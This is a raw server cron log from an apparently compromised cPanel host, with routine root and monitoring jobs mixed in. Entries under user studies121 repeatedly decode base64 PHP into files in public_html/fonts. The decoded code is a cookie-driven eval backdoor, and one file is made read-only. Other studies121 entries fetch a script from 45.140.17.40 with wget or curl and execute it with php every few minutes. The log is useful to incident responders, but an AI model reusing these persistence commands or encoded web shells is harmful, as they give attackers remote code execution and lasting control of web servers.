Sep  8 14:28:01 ip-184-168-122-23 CROND[2765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:29:01 ip-184-168-122-23 CROND[2871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:29:01 ip-184-168-122-23 CROND[2872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:29:01 ip-184-168-122-23 CROND[2875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:29:01 ip-184-168-122-23 CROND[2874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:30:01 ip-184-168-122-23 CROND[2995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:30:01 ip-184-168-122-23 CROND[2997]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 14:30:01 ip-184-168-122-23 CROND[2998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:30:01 ip-184-168-122-23 CROND[3001]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:30:01 ip-184-168-122-23 CROND[3004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:30:01 ip-184-168-122-23 CROND[3005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:30:01 ip-184-168-122-23 CROND[3002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:30:01 ip-184-168-122-23 CROND[3009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:31:01 ip-184-168-122-23 CROND[3168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:31:01 ip-184-168-122-23 CROND[3169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:31:01 ip-184-168-122-23 CROND[3167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:31:01 ip-184-168-122-23 CROND[3171]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 14:31:01 ip-184-168-122-23 CROND[3170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:32:01 ip-184-168-122-23 CROND[3299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:32:01 ip-184-168-122-23 CROND[3303]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:32:01 ip-184-168-122-23 CROND[3302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:32:01 ip-184-168-122-23 CROND[3304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:32:01 ip-184-168-122-23 CROND[3301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:33:01 ip-184-168-122-23 CROND[3389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:33:01 ip-184-168-122-23 CROND[3390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:33:01 ip-184-168-122-23 CROND[3392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:33:01 ip-184-168-122-23 CROND[3391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:34:01 ip-184-168-122-23 CROND[3497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:34:01 ip-184-168-122-23 CROND[3499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:34:01 ip-184-168-122-23 CROND[3500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:34:01 ip-184-168-122-23 CROND[3501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:34:01 ip-184-168-122-23 CROND[3503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:35:01 ip-184-168-122-23 CROND[3684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:35:01 ip-184-168-122-23 CROND[3686]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 14:35:01 ip-184-168-122-23 CROND[3688]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 14:35:01 ip-184-168-122-23 CROND[3691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:35:01 ip-184-168-122-23 CROND[3694]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:35:01 ip-184-168-122-23 CROND[3692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:35:01 ip-184-168-122-23 CROND[3693]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:35:01 ip-184-168-122-23 CROND[3697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:36:01 ip-184-168-122-23 CROND[3814]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:36:01 ip-184-168-122-23 CROND[3816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:36:01 ip-184-168-122-23 CROND[3819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:36:01 ip-184-168-122-23 CROND[3818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:36:01 ip-184-168-122-23 CROND[3817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:37:01 ip-184-168-122-23 CROND[3925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:37:02 ip-184-168-122-23 CROND[3927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:37:02 ip-184-168-122-23 CROND[3928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:37:02 ip-184-168-122-23 CROND[3929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:38:01 ip-184-168-122-23 CROND[4014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:38:01 ip-184-168-122-23 CROND[4012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:38:01 ip-184-168-122-23 CROND[4013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:38:01 ip-184-168-122-23 CROND[4018]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:38:01 ip-184-168-122-23 CROND[4019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:39:01 ip-184-168-122-23 CROND[4104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:39:01 ip-184-168-122-23 CROND[4105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:39:01 ip-184-168-122-23 CROND[4107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:39:01 ip-184-168-122-23 CROND[4106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:39:01 ip-184-168-122-23 CROND[4111]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 14:40:01 ip-184-168-122-23 CROND[4310]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 14:40:01 ip-184-168-122-23 CROND[4313]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:40:01 ip-184-168-122-23 CROND[4314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:40:01 ip-184-168-122-23 CROND[4320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:40:01 ip-184-168-122-23 CROND[4315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:40:01 ip-184-168-122-23 CROND[4317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:40:01 ip-184-168-122-23 CROND[4316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:40:01 ip-184-168-122-23 CROND[4322]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
